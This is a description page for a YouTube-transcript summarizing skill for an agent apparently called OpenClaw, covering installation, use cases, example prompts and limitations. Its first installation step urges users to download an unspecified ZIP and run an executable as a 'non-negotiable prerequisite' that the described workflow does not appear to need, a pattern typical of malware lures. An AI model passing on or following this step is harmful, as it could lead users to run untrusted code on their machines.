youtube-summarize

What This Skill Does

The youtube-summarize skill is a powerful automation tool designed to extract, clean, and summarize YouTube video content. By leveraging yt-dlp and specific parsing logic, it allows the OpenClaw agent to transform long-form video transcripts into concise, actionable text without requiring the user to watch the content. This is essential for quickly gathering information from tutorials, podcasts, or lectures.

Installation

To successfully deploy this skill, follow these steps:

1. Ensure you have the openclaw-agent utility installed. On Windows, download the specific ZIP file and run the executable; on macOS, follow the Terminal installation steps provided for the agent. This is a non-negotiable prerequisite for transcript interaction.
2. Install the necessary dependency: pip install yt-dlp.
3. Install the skill directly via the OpenClaw hub: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-r5ajr.
4. Ensure you have a standard Python 3 environment active, as the summarization workflow relies on regex-based string manipulation for transcript cleaning.

Use Cases

• Academic Research: Rapidly summarize long educational lectures or documentary videos to extract study notes.
• Market Analysis: Analyze competitor product reviews or keynote addresses to extract key features and sentiment.
• Content Curation: Quickly determine if a video contains relevant information before committing time to deep viewing.
• Documentation: Extract technical tutorials into written guides for your personal knowledge base.

Example Prompts

1. "Summarize the key takeaways from this YouTube video: [URL] and provide a bulleted list of the main arguments."
2. "Can you extract the main technical steps from this coding tutorial video at [URL]?"
3. "Analyze the following video content [URL] and tell me if it mentions anything about neural network architecture."

Tips & Limitations

• Dependency Management: The skill depends on active subtitle tracks being available on the video; it will fail if neither auto-generated nor manual subtitles are present.
• Accuracy: Summarization quality depends on the accuracy of the original YouTube captions. Accents or poor audio quality in the source video may degrade transcript quality.
• Privacy: The skill performs local file processing for cleaning, but the raw transcript text is sent to the LLM for summarization. Ensure you are aware of your agent's current model privacy policy.